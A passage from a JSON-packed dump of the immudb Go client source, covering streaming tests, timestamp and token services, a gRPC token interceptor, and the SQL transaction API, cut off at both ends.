*stream.KeyValue, error) {\n\n\tf, err := os.Open(fileName)\n\tif err != nil {\n\t\treturn nil, nil, err\n\t}\n\n\tfi, err := f.Stat()\n\tif err != nil {\n\t\tf.Close()\n\t\treturn nil, nil, err\n\t}\n\n\tkv := stream.KeyValue{\n\t\tKey: &stream.ValueSize{\n\t\t\tContent: bufio.NewReader(bytes.NewBuffer([]byte(fileName))),\n\t\t\tSize:    len(fileName),\n\t\t},\n\t\tValue: &stream.ValueSize{\n\t\t\tContent: bufio.NewReader(f),\n\t\t\tSize:    int(fi.Size()),\n\t\t},\n\t}\n\n\treturn f, &kv, nil\n}\n\nfunc streamSetFiles(\n\tctx context.Context,\n\tt *testing.T,\n\tcli ImmuClient,\n\tfileNames []string,\n) (vSizes []int) {\n\n\tkvs := make([]*stream.KeyValue, len(fileNames))\n\tvSizes = make([]int, len(fileNames))\n\tfor i, fileName := range fileNames {\n\t\tf, kv, err := inputTestFileToStreamKV(t, fileName)\n\t\trequire.NoError(t, err)\n\t\tdefer f.Close()\n\t\tkvs[i] = kv\n\t\tvSizes[i] = kv.Value.Size\n\t}\n\n\ttxhdr, err := cli.StreamSet(ctx, kvs)\n\trequire.NoError(t, err)\n\trequire.NotNil(t, txhdr)\n\n\treturn\n}\n\nfunc zAddFiles(\n\tctx context.Context,\n\tt *testing.T,\n\tcli ImmuClient,\n\tfileNames []string,\n\tset string,\n\tscores []float64,\n) {\n\tvar err error\n\tsetBytes := []byte(set)\n\tfor i, score := range scores {\n\t\t_, err = cli.ZAdd(ctx, setBytes, score, []byte(fileNames[i]))\n\t\trequire.NoError(t, err)\n\t}\n}\n\nfunc TestImmuServer_StreamZScan(t *testing.T) {\n\tcliIF, ctx := externalImmudbClient(t)\n\n\ttmpFile1, err := streamtest.GenerateDummyFile(\"myfile1.pdf\", (8<<20)-1)\n\trequire.NoError(t, err)\n\tdefer tmpFile1.Close()\n\tdefer os.Remove(tmpFile1.Name())\n\ttmpFile2, err := streamtest.GenerateDummyFile(\"myFile2.mp4\", (16<<20)-1)\n\trequire.NoError(t, err)\n\tdefer tmpFile2.Close()\n\tdefer os.Remove(tmpFile2.Name())\n\n\tfileNames := []string{\n\t\ttmpFile1.Name(),\n\t\ttmpFile2.Name(),\n\t}\n\n\tvSizes := streamSetFiles(ctx, t, cliIF, fileNames)\n\trequire.Equal(t, len(fileNames), len(vSizes))\n\n\tset := \"FileSet\"\n\tscores := []float64{11, 22}\n\tzAddFiles(ctx, t, cliIF, fileNames, set, scores)\n\n\tzEntries, err := cliIF.StreamZScan(ctx, &schema.ZScanRequest{Set: []byte(\"FileSet\")})\n\trequire.NoError(t, err)\n\trequire.NotNil(t, zEntries)\n\trequire.Len(t, zEntries.Entries, 2)\n\n\tfor i, fileName := range fileNames {\n\t\trequire.Equal(t, fileName, string(zEntries.Entries[i].Key))\n\t\trequire.Equal(t, set, string(zEntries.Entries[i].Set))\n\t\trequire.Equal(t, scores[i], zEntries.Entries[i].Score)\n\t\trequire.Equal(t, fileName, string(zEntries.Entries[i].Entry.Key))\n\t\trequire.Equal(t, vSizes[i], len(zEntries.Entries[i].Entry.Value))\n\t}\n}\n\nfunc TestImmuServer_StreamHistory(t *testing.T) {\n\tcliIF, ctx := externalImmudbClient(t)\n\n\ttmpFile1, err := streamtest.GenerateDummyFile(\"myfile1.pdf\", (8<<20)-1)\n\trequire.NoError(t, err)\n\tdefer tmpFile1.Close()\n\tdefer os.Remove(tmpFile1.Name())\n\n\tfileNames := []string{tmpFile1.Name()}\n\n\tvSizes1 := streamSetFiles(ctx, t, cliIF, fileNames)\n\trequire.Equal(t, 1, len(vSizes1))\n\tvSizes2 := streamSetFiles(ctx, t, cliIF, fileNames)\n\trequire.Equal(t, 1, len(vSizes2))\n\tvSizes := []int{vSizes1[0], vSizes2[0]}\n\n\thEntries, err :=\n\t\tcliIF.StreamHistory(ctx, &schema.HistoryRequest{Key: []byte(tmpFile1.Name())})\n\trequire.NoError(t, err)\n\trequire.Equal(t, 2, len(hEntries.Entries))\n\tfor i, hEntry := range hEntries.Entries {\n\t\trequire.Equal(t, tmpFile1.Name(), string(hEntry.Key))\n\t\trequire.Equal(t, vSizes[i], len(hEntry.Value))\n\t}\n}\n"
  },
  {
    "path": "pkg/client/timestamp/default.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage timestamp\n\nimport (\n\t\"time\"\n)\n\ntype timestampDefault struct{}\n\n// NewDefaultTimestamp ...\nfunc NewDefaultTimestamp() (TsGenerator, error) {\n\treturn &timestampDefault{}, nil\n}\n\nfunc (w *timestampDefault) Now() time.Time {\n\treturn time.Now()\n}\n"
  },
  {
    "path": "pkg/client/timestamp/timestamp_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage timestamp\n\nimport (\n\t\"testing\"\n\t\"time\"\n\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestDefault(t *testing.T) {\n\tdef, err := NewDefaultTimestamp()\n\trequire.NoError(t, err)\n\trequire.IsType(t, def, &timestampDefault{})\n\tts := def.Now()\n\trequire.IsType(t, ts, time.Time{})\n}\n"
  },
  {
    "path": "pkg/client/timestamp/tsgenerator.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage timestamp\n\nimport \"time\"\n\n// TsGenerator timestamp generator interface\ntype TsGenerator interface {\n\tNow() time.Time\n}\n"
  },
  {
    "path": "pkg/client/timestamp_service.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage client\n\nimport (\n\t\"time\"\n\n\t\"github.com/codenotary/immudb/pkg/client/timestamp\"\n)\n\n// TimestampService is a simple service returning the current time.\ntype TimestampService interface {\n\tGetTime() time.Time\n}\n\ntype timestampService struct {\n\tts timestamp.TsGenerator\n}\n\n// NewTimestampService creates new timestamp service returning current system time.\nfunc NewTimestampService(ts timestamp.TsGenerator) TimestampService {\n\treturn &timestampService{ts}\n}\n\nfunc (r *timestampService) GetTime() time.Time {\n\treturn r.ts.Now()\n}\n"
  },
  {
    "path": "pkg/client/timestamp_service_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage client\n\nimport (\n\t\"testing\"\n\t\"time\"\n\n\t\"github.com/codenotary/immudb/pkg/client/timestamp\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestTimestampService(t *testing.T) {\n\ttg, _ := timestamp.NewDefaultTimestamp()\n\ttss := NewTimestampService(tg)\n\ttim := tss.GetTime()\n\trequire.IsType(t, tim, time.Time{})\n}\n"
  },
  {
    "path": "pkg/client/token_interceptor.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage client\n\nimport (\n\t\"context\"\n\n\t\"google.golang.org/grpc/metadata\"\n\n\t\"google.golang.org/grpc\"\n)\n\n// TokenInterceptor injects authentication token header to outgoing GRPC requests if it has not been set already\nfunc (c *immuClient) TokenInterceptor(ctx context.Context, method string, req, reply interface{}, cc *grpc.ClientConn, invoker grpc.UnaryInvoker, opts ...grpc.CallOption) error {\n\tctx, err := c.appendTokenToOutgoingContext(ctx)\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn invoker(ctx, method, req, reply, cc, opts...)\n}\n\n// TokenInterceptor injects authentication token header to outgoing GRPC requests if it has not been set already\nfunc (c *immuClient) TokenStreamInterceptor(ctx context.Context, desc *grpc.StreamDesc, cc *grpc.ClientConn, method string, streamer grpc.Streamer, opts ...grpc.CallOption) (grpc.ClientStream, error) {\n\tctx, err := c.appendTokenToOutgoingContext(ctx)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn streamer(ctx, desc, cc, method, opts...)\n}\n\nfunc (c *immuClient) appendTokenToOutgoingContext(ctx context.Context) (context.Context, error) {\n\tif md, ok := metadata.FromOutgoingContext(ctx); !ok || len(md.Get(\"authorization\")) == 0 {\n\t\tpresent, err := c.Tkns.IsTokenPresent()\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tif present {\n\t\t\ttoken, err := c.Tkns.GetToken()\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\t\t\treturn metadata.AppendToOutgoingContext(ctx, \"authorization\", token), nil\n\t\t}\n\t}\n\treturn ctx, nil\n}\n"
  },
  {
    "path": "pkg/client/tokenservice/errors.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage tokenservice\n\nimport \"errors\"\n\n// Errors related to Client connection and health check\nvar (\n\tErrEmptyTokenProvided     = errors.New(\"empty token provided\")\n\tErrTokenContentNotPresent = errors.New(\"token content not present\")\n)\n"
  },
  {
    "path": "pkg/client/tokenservice/file.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage tokenservice\n\nimport (\n\t\"encoding/binary\"\n\t\"errors\"\n\t\"os\"\n\t\"strings\"\n\t\"sync\"\n\n\t\"github.com/codenotary/immudb/pkg/client/homedir\"\n)\n\ntype file struct {\n\tsync.Mutex\n\ttokenFileName string\n\thds           homedir.HomedirService\n}\n\n// NewFileTokenService ...\nfunc NewFileTokenService() *file {\n\treturn &file{\n\t\ttokenFileName: \"token\",\n\t\thds:           homedir.NewHomedirService(),\n\t}\n}\n\nfunc (ts *file) GetToken() (string, error) {\n\tts.Lock()\n\tdefer ts.Unlock()\n\t_, token, err := ts.parseContent()\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\treturn token, nil\n}\n\n// SetToken ...\nfunc (ts *file) SetToken(database string, token string) error {\n\tts.Lock()\n\tdefer ts.Unlock()\n\tif token == \"\" {\n\t\treturn ErrEmptyTokenProvided\n\t}\n\treturn ts.hds.WriteFileToUserHomeDir(BuildToken(database, token), ts.tokenFileName)\n}\n\nfunc BuildToken(database string, token string) []byte {\n\tdbsl := uint64(len(database))\n\tdbnl := len(database)\n\ttl := len(token)\n\tlendbs := binary.Size(dbsl)\n\tvar cnt = make([]byte, lendbs+dbnl+tl)\n\tbinary.BigEndian.PutUint64(cnt, dbsl)\n\tcopy(cnt[lendbs:], database)\n\tcopy(cnt[lendbs+dbnl:], token)\n\treturn cnt\n}\n\nfunc (ts *file) DeleteToken() error {\n\tts.Lock()\n\tdefer ts.Unlock()\n\treturn ts.hds.DeleteFileFromUserHomeDir(ts.tokenFileName)\n}\n\n// IsTokenPresent ...\nfunc (ts *file) IsTokenPresent() (bool, error) {\n\tts.Lock()\n\tdefer ts.Unlock()\n\t_, _, err := ts.parseContent()\n\tif err != nil {\n\t\tif os.IsNotExist(err) {\n\t\t\treturn false, nil\n\t\t}\n\t\treturn false, err\n\t}\n\treturn true, nil\n}\n\nfunc (ts *file) GetDatabase() (string, error) {\n\tts.Lock()\n\tdefer ts.Unlock()\n\tdbname, _, err := ts.parseContent()\n\treturn dbname, err\n}\n\nfunc (ts *file) parseContent() (string, string, error) {\n\tcontent, err := ts.hds.ReadFileFromUserHomeDir(ts.tokenFileName)\n\tif err != nil {\n\t\treturn \"\", \"\", err\n\t}\n\tif len(content) <= 8 {\n\t\treturn \"\", \"\", ErrTokenContentNotPresent\n\t}\n\t// token prefix is hardcoded into library. Please modify in case of changes in paseto library\n\tif strings.HasPrefix(content, \"v2.public.\") {\n\t\treturn \"\", \"\", errors.New(\"old token format. Please remove old token located in your default home dir\")\n\t}\n\tdbNameLen := make([]byte, 8)\n\tcopy(dbNameLen, content[:8])\n\tdbNameLenUint64 := binary.BigEndian.Uint64(dbNameLen)\n\tif dbNameLenUint64 > uint64(len(content))-8 {\n\t\treturn \"\", \"\", errors.New(\"invalid token format\")\n\t}\n\tdatabasename := make([]byte, dbNameLenUint64)\n\tcopy(databasename, content[8:8+dbNameLenUint64])\n\n\ttoken := make([]byte, uint64(len(content))-8-dbNameLenUint64)\n\tcopy(token, content[8+dbNameLenUint64:])\n\n\treturn string(databasename), string(token), nil\n}\n\n// WithHds ...\nfunc (ts *file) WithHds(hds homedir.HomedirService) *file {\n\tts.hds = hds\n\treturn ts\n}\n\n// WithTokenFileName ...\nfunc (ts *file) WithTokenFileName(tfn string) *file {\n\tts.tokenFileName = tfn\n\treturn ts\n}\n"
  },
  {
    "path": "pkg/client/tokenservice/inmemory.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage tokenservice\n\nimport (\n\t\"sync\"\n)\n\ntype inmemoryTokenService struct {\n\tsync.RWMutex\n\ttoken    string\n\tdatabase string\n}\n\nfunc NewInmemoryTokenService() *inmemoryTokenService {\n\treturn &inmemoryTokenService{}\n}\n\nfunc (m *inmemoryTokenService) SetToken(database string, token string) error {\n\tm.Lock()\n\tdefer m.Unlock()\n\tif token == \"\" {\n\t\treturn ErrEmptyTokenProvided\n\t}\n\tm.token = token\n\tm.database = database\n\treturn nil\n}\n\nfunc (m *inmemoryTokenService) IsTokenPresent() (bool, error) {\n\tm.RLock()\n\tdefer m.RUnlock()\n\treturn m.token != \"\", nil\n}\n\nfunc (m *inmemoryTokenService) DeleteToken() error {\n\tm.Lock()\n\tdefer m.Unlock()\n\tm.token = \"\"\n\tm.database = \"\"\n\treturn nil\n}\n\nfunc (m *inmemoryTokenService) GetToken() (string, error) {\n\tm.RLock()\n\tdefer m.RUnlock()\n\treturn m.token, nil\n}\n\nfunc (m *inmemoryTokenService) GetDatabase() (string, error) {\n\tm.RLock()\n\tdefer m.RUnlock()\n\treturn m.database, nil\n}\n"
  },
  {
    "path": "pkg/client/tokenservice/inmemory_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage tokenservice\n\nimport (\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestNewInmemoryTokenService(t *testing.T) {\n\tts := NewInmemoryTokenService()\n\terr := ts.SetToken(\"db1\", \"\")\n\trequire.ErrorIs(t, err, ErrEmptyTokenProvided)\n\terr = ts.SetToken(\"db\", \"tk\")\n\trequire.NoError(t, err)\n\tpresent, err := ts.IsTokenPresent()\n\trequire.True(t, present)\n\trequire.NoError(t, err)\n\tdb, err := ts.GetDatabase()\n\trequire.Equal(t, db, \"db\")\n\trequire.NoError(t, err)\n\ttk, err := ts.GetToken()\n\trequire.NoError(t, err)\n\trequire.Equal(t, tk, \"tk\")\n\terr = ts.DeleteToken()\n\trequire.NoError(t, err)\n}\n"
  },
  {
    "path": "pkg/client/tokenservice/token_service.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage tokenservice\n\ntype TokenService interface {\n\tSetToken(database string, token string) error\n\tIsTokenPresent() (bool, error)\n\tDeleteToken() error\n\tGetToken() (string, error)\n\tGetDatabase() (string, error)\n}\n"
  },
  {
    "path": "pkg/client/tokenservice/token_service_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage tokenservice\n\nimport (\n\t\"os\"\n\t\"path/filepath\"\n\t\"testing\"\n\n\t\"github.com/codenotary/immudb/pkg/client/homedir\"\n\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestTokenSevice_setToken(t *testing.T) {\n\tfn := filepath.Join(t.TempDir(), \"token\")\n\tts := file{tokenFileName: fn, hds: homedir.NewHomedirService()}\n\terr := ts.SetToken(\"db1\", \"\")\n\trequire.ErrorIs(t, err, ErrEmptyTokenProvided)\n\terr = ts.SetToken(\"db1\", \"toooooken\")\n\trequire.NoError(t, err)\n\tdatabase, err := ts.GetDatabase()\n\trequire.NoError(t, err)\n\trequire.Equal(t, \"db1\", database)\n\ttoken, err := ts.GetToken()\n\trequire.NoError(t, err)\n\trequire.Equal(t, \"toooooken\", token)\n\tos.Remove(fn)\n}\n\nfunc TestTokenService_IsTokenPresent(t *testing.T) {\n\tfn := filepath.Join(t.TempDir(), \"token\")\n\tts := file{tokenFileName: fn, hds: homedir.NewHomedirService()}\n\terr := ts.SetToken(\"db1\", \"toooooken\")\n\trequire.NoError(t, err)\n\tok, err := ts.IsTokenPresent()\n\trequire.NoError(t, err)\n\trequire.True(t, ok)\n}\n\nfunc TestTokenService_DeleteToken(t *testing.T) {\n\tfn := filepath.Join(t.TempDir(), \"token\")\n\tts := file{tokenFileName: fn, hds: homedir.NewHomedirService()}\n\terr := ts.SetToken(\"db1\", \"toooooken\")\n\trequire.NoError(t, err)\n\terr = ts.DeleteToken()\n\trequire.NoError(t, err)\n}\n"
  },
  {
    "path": "pkg/client/transaction.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage client\n\nimport (\n\t\"context\"\n\t\"io\"\n\n\t\"github.com/codenotary/immudb/pkg/api/schema\"\n\t\"github.com/codenotary/immudb/pkg/client/errors\"\n\t\"github.com/golang/protobuf/ptypes/empty\"\n\t\"google.golang.org/grpc/metadata\"\n)\n\n// Tx represents an open transaction\n//\n// Note: Currently this object only supports SQL transactions\ntype Tx interface {\n\n\t// Commit commits a transaction.\n\tCommit(ctx context.Context) (*schema.CommittedSQLTx, error)\n\n\t// Rollback rollbacks a transaction.\n\tRollback(ctx context.Context) error\n\n\t// SQLExec performs a modifying SQL query within the transaction.\n\t// Such query does not return SQL result.\n\tSQLExec(ctx context.Context, sql string, params map[string]interface{}) error\n\n\t// SQLQuery performs a query (read-only) operation.\n\t//\n\t// Deprecated: use SQLQueryReader instead.\n\tSQLQuery(ctx context.Context, sql string, params map[string]interface{}) (*schema.SQLQueryResult, error)\n\n\t// SQLQueryReader submits an SQL query to the server and returns a reader object for efficient retrieval of all rows in the result set.\n\tSQLQueryReader(ctx context.Context, sql string, params map[string]interface{}) (SQLQueryRowReader, error)\n}\n\ntype tx struct {\n\tic            *immuClient\n\ttransactionID string\n}\n\nfunc (c *tx) Commit(ctx context.Context) (*schema.CommittedSQLTx, error) {\n\tcmtx, err := c.ic.ServiceClient.Commit(c.populateCtx(ctx), new(empty.Empty))\n\treturn cmtx, errors.FromError(err)\n}\n\nfunc (c *tx) Rollback(ctx context.Context) error {\n\t_, err := c.ic.ServiceClient.Rollback(c.populateCtx(ctx), new(empty.Empty))\n\treturn errors.FromError(err)\n}\n\nfunc (c *immuClient) NewTx(ctx context.Context, opts ...TxOption) (Tx, error) {\n\tif !c.IsConnected() {\n\t\treturn nil, errors.FromError(ErrNotConnected)\n\t}\n\n\treq := &schema.NewTxRequest{\n\t\tMode: schema.TxMode_ReadWrite,\n\t}\n\n\tfor _, opt := range opts {\n\t\terr := opt(req)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\n\tr, err := c.ServiceClient.NewTx(ctx, req)\n\tif err != nil {\n\t\treturn nil, errors.FromError(err)\n\t}\n\ttx := &tx{\n\t\tic:            c,\n\t\ttransactionID: r.TransactionID,\n\t}\n\treturn tx, nil\n}\n\nfunc (c *tx) SQLExec(ctx context.Context, sql string, params map[string]interface{}) error {\n\tnamedParams, err := schema.EncodeParams(params)\n\tif err != nil {\n\t\treturn errors.FromError(err)\n\t}\n\t_, err = c.ic.ServiceClient.TxSQLExec(c.populateCtx(ctx), &schema.SQLExecRequest{\n\t\tSql:    sql,\n\t\tParams: namedParams,\n\t})\n\treturn errors.FromError(err)\n}\n\nfunc (c *tx) SQLQuery(ctx context.Context, sql string, params map[string]interface{}) (*schema.SQLQueryResult, error) {\n\tstream, err := c.sqlQuery(ctx, sql, params, false)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tres, err := stream.Recv()\n\tif err != nil {\n\t\treturn nil, errors.FromError(err)\n\t}\n\n\tif _, err := stream.Recv(); err != io.EOF {\n\t\treturn res, errors.FromError(err)\n\t}\n\treturn res, nil\n}\n\nfunc (c *tx) SQLQueryReader(ctx context.Context, sql string, params map[string]interface{}) (SQLQueryRowReader, error) {\n\tstream, err := c.sqlQuery(ctx, sql, params, true)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn newSQLQueryRowReader(stream)\n}\n\nfunc (c *tx) sqlQuery(ctx context.Context, sql string, params map[string]interface{}, acceptStream bool) (schema.ImmuService_TxSQLQueryClient, error) {\n\tnamedParams, err := schema.EncodeParams(params)\n\tif err != nil {\n\t\treturn nil, errors.FromError(err)\n\t}\n\tstream, err := c.ic.ServiceClient.TxSQLQuery(c.populateCtx(ctx), &schema.SQLQueryRequest{\n\t\tSql:          sql,\n\t\tParams:       namedParams,\n\t\tAcceptStream: acceptStream,\n\t})\n\treturn stream, errors.FromError(err)\n}\n\nfunc (c *tx) GetTransactionID() string {\n\treturn c.transactionID\n}\n\nfunc (tx *tx) populateCtx(ctx context.Context) context.Context {\n\tif tx.GetTransactionID() != \"\" {\n\t\tctx = metadata.AppendToOutgoingContext(ctx, \"transactionid\", tx.GetTransactionID())\n\t}\n\treturn ctx\n}\n"
  },
  {
    "path": "pkg/client/tx_options.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage client\n\nimport (\n\t\"time\"\n\n\t\"github.com/codenotary/immudb/pkg/api/schema\"\n)\n\n// TxOption is used to set additional options when creating a transaction with a NewTx call\ntype TxOption func(req *schema.NewTxRequest) error\n\n// UnsafeMVCC option means the server is not forced to wait for the indexer\n// to be up-to-date with the most recent transaction during conflict detection.\n//\n// In practice this means that the user will get the result faster with the\n// risk of inconsistencies if another transaction invalidated the data read by this transaction.\n//\n// This option may be useful when it's guaranteed that related data is not concurrently\n// written.\nfunc UnsafeMVCC() TxOption {\n\treturn func(req *schema.NewTxRequest) error {\n\t\treq.UnsafeMVCC = true\n\t\treturn nil\n\t}\n}\n\n// An existing snapshot may be reused as long as it includes the specified transaction\nfunc SnapshotMustIncludeTxID(txID uint64) TxOption {\n\treturn func(req *schema.NewTxRequest) error {\n\t\treq.SnapshotMustIncludeTxID = &schema.NullableUint64{Value: txID}\n\t\treturn nil\n\t}\n}\n\n// An existing snapshot may be reused as long as it is not older than the specified timeframe\nfunc SnapshotRenewalPeriod(renewalPeriod time.Duration) TxOption {\n\treturn func(req *schema.NewTxRequest) error {\n\t\treq.SnapshotRenewalPeriod = &schema.NullableMilliseconds{Value: renewalPeriod.Milliseconds()}\n\t\treturn nil\n\t}\n}\n"
  },
  {
    "path": "pkg/client/types.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage client\n\nimport (\n\t\"crypto/ecdsa\"\n\n\t\"github.com/codenotary/immudb/pkg/client/tokenservice\"\n\t\"github.com/codenotary/immudb/pkg/stream\"\n\n\t\"github.com/codenotary/immudb/embedded/logger\"\n\t\"github.com/codenotary/immudb/pkg/api/schema\"\n\t\"github.com/codenotary/immudb/pkg/client/state\"\n\t\"google.golang.org/grpc\"\n)\n\n// WithLogger sets up custom client logger.\nfunc (c *immuClient) WithLogger(logger logger.Logger) *immuClient {\n\tc.Logger = logger\n\treturn c\n}\n\n// WithStateService sets up the StateService object.\nfunc (c *immuClient) WithStateService(rs state.StateService) *immuClient {\n\tc.StateService = rs\n\treturn c\n}\n\n// Deprecated: will be removed in future versions.\nfunc (c *immuClient) WithClientConn(clientConn *grpc.ClientConn) *immuClient {\n\tc.clientConn = clientConn\n\treturn c\n}\n\n// Deprecated: will be removed in future versions.\nfunc (c *immuClient) WithServiceClient(serviceClient schema.ImmuServiceClient) *immuClient {\n\tc.ServiceClient = serviceClient\n\treturn c\n}\n\n// Deprecated: will be removed in future versions.\nfunc (c *immuClient) WithTokenService(tokenService tokenservice.TokenService) *immuClient {\n\tc.Tkns = tokenService\n\treturn c\n}\n\n// WithServerSigningPubKey sets up public key for server's state validation.\nfunc (c *immuClient) WithServerSigningPubKey(publicKey *ecdsa.PublicKey) *immuClient {\n\tc.serverSigningPubKey = publicKey\n\treturn c\n}\n\n// WithStreamServiceFactory sets up stream factory for the client.\nfunc (c *immuClient) WithStreamServiceFactory(ssf stream.ServiceFactory) *immuClient {\n\tc.StreamServiceFactory = ssf\n\treturn c\n}\n\n// WithOptions sets up client options for the instance.\nfunc (c *immuClient) 